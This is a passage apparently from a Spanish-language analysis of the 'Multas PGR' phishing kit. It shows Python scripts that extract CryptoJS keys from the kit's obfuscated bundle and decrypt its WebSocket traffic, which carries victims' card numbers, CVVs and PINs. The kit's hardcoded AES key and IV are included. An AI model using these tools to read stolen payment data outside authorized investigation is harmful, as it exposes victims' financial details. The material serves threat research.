22 call, val = line.rstrip("\n").split("\t", 1)
23 table[call] = json.loads(val)
24
25dec = re.match(r"(\w+)\(", next(iter(table))).group(1) # nombre del decodificador, p. ej. "b"
26S = lambda n: table.get(f"{dec}({n})")
27
28# Llamadas del tipo obj[b(i)][b(j)][b(k)](b(n)) o obj[b(i)][b(j)][b(k)](VARIABLE)
29rx = re.compile(r"\w+\[%s\((\d+)\)\]\[%s\((\d+)\)\]\[%s\((\d+)\)\]\((?:%s\((\d+)\)|(\w+))\)" % ((dec,) * 4))
30parsed = []
31for m in rx.finditer(src):
32 i, j, k, n, var = m.groups()
33 if (S(i), S(j), S(k)) != ("enc", "Utf8", "parse"):
34 continue
35 if n is not None:
36 value = S(n)
37 else: # const af=b(70) ... parse(af)
38 d = re.search(r"\b%s=%s\((\d+)\)" % (re.escape(var), dec), src)
39 value = S(d.group(1)) if d else f"<variable {var}>"
40 parsed.append((m.start(), value))
41
42# Parámetros del cifrado presentes en el bundle
43algo = {x for x in ("AES", "CBC", "ECB", "CTR", "Pkcs7", "NoPadding", "MD5") if x in table.values()}
44print(f"[+] Primitivas CryptoJS referenciadas: {', '.join(sorted(algo))}")
45print(f"[+] Utf8.parse() con literal encontrados: {len(parsed)}")
46for idx in range(0, len(parsed) - 1, 2):
47 (o1, k), (o2, iv) = parsed[idx], parsed[idx + 1]
48 print(f" par #{idx//2 + 1} key={k!r} ({len(k)*8} bits) iv={iv!r} offset={o1}")
decrypt_ws.py
Descifra el export de frames Socket.IO (paso 3). Requiere pip install cryptography.
Ver código
1#!/usr/bin/env python3
2"""
3decrypt_ws.py — Descifra frames Socket.IO del kit "Multas PGR" (multaspgr[.]top).
4
5Uso:
6 python3 decrypt_ws.py frames.txt # keys por defecto del kit
7 python3 decrypt_ws.py frames.txt --mask # enmascara PAN y CVV (para publicar)
8 python3 decrypt_ws.py frames.txt --key K --iv IV # otro despliegue / otra key
9 python3 decrypt_ws.py frames.txt --json > out.jsonl # salida JSON Lines
10
11Entrada: export de mensajes WebSocket (any.run, DevTools/HAR convertido, etc.).
12Cada línea debe contener la dirección (sent/received) y el frame Socket.IO 42["message","<base64>"].
13
14Requisito: pip install cryptography
15"""
16import argparse, base64, json, re, sys
17from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
18from cryptography.hazmat.primitives import padding
19
20DEFAULT_KEY = "ZQMWLSPXJRDHKTNV" # b(70) en CQBmPQ5D.js — canal WebSocket
21DEFAULT_IV = "YFBCUENAGPQLXJWR" # b(71)
22
23def decrypt(b64: str, key: bytes, iv: bytes) -> str:
24 """AES-CBC + PKCS7, equivalente a CryptoJS.AES.decrypt(ct, Utf8.parse(key), {iv, CBC, Pkcs7})."""
25 d = Cipher(algorithms.AES(key), modes.CBC(iv)).decryptor()
26 padded = d.update(base64.b64decode(b64)) + d.finalize()
27 u = padding.PKCS7(128).unpadder()
28 return (u.update(padded) + u.finalize()).decode("utf-8")
29
30def mask(obj):
31 """Enmascara PAN (deja 6 primeros + 4 últimos) y CVV/PIN/códigos."""
32 if isinstance(obj, dict):
33 out = {}
34 for k, v in obj.items():
35 if k == "cardNumber" and isinstance(v, str):
36 d = re.sub(r"\D", "", v)
37 out[k] = (d[:6] + "*" * max(len(d) - 10, 0) + d[-4:]) if len(d) > 10 else "*" * len(d)
38 elif k in ("cvv", "pin", "code", "customCode", "expressCvv") and v:
39 out[k] = "*" * len(str(v))
40 else:
41 out[k] = mask(v)
42 return out
43 return obj
44
45ap = argparse.ArgumentParser()
46ap.add_argument("frames")
47ap.add_argument("--key", default=DEFAULT_KEY)
48ap.add_argument("--iv", default=DEFAULT_IV)
49ap.add_argument("--mask", action="store_true")
50ap.add_argument("--json", action="store_true")
51a = ap.parse_args()
52key, iv = a.key.encode(), a.iv.encode()
53
54rx = re.compile(r'(sent|received).*?42\["message","([A-Za-z0-9+/=]+)"\]')
55stats = {}
56for n, line in enumerate(open(a.frames, encoding="utf-8"), 1):
57 m = rx.search(line)
58 if not m:
59 continue # handshake (0/40), ping (2), pong (3)
60 direction = "C->S" if m.group(1) == "sent" else "S->C"
61 try:
62 msg = json.loads(decrypt(m.group(2), key, iv))
63 except Exception as e:
64 print(f"{n}\t{direction}\tERROR: {e}", file=sys.stderr)
65 continue
66 if a.mask:
67 msg = mask(msg)
68 ev = msg.get("event", "?")
69 stats[ev] = stats.get(ev, 0) + 1
70 if a.json:
71 print(json.dumps({"line": n, "dir": direction, **msg}, ensure_ascii=False))
72 else:
73 print(f"{n}\t{direction}\t{json.dumps(msg, ensure_ascii=False)}")
74
75print("[+] eventos: " + ", ".join(f"{k}={v}" for k, v in sorted(stats.items())), file=sys.stderr)
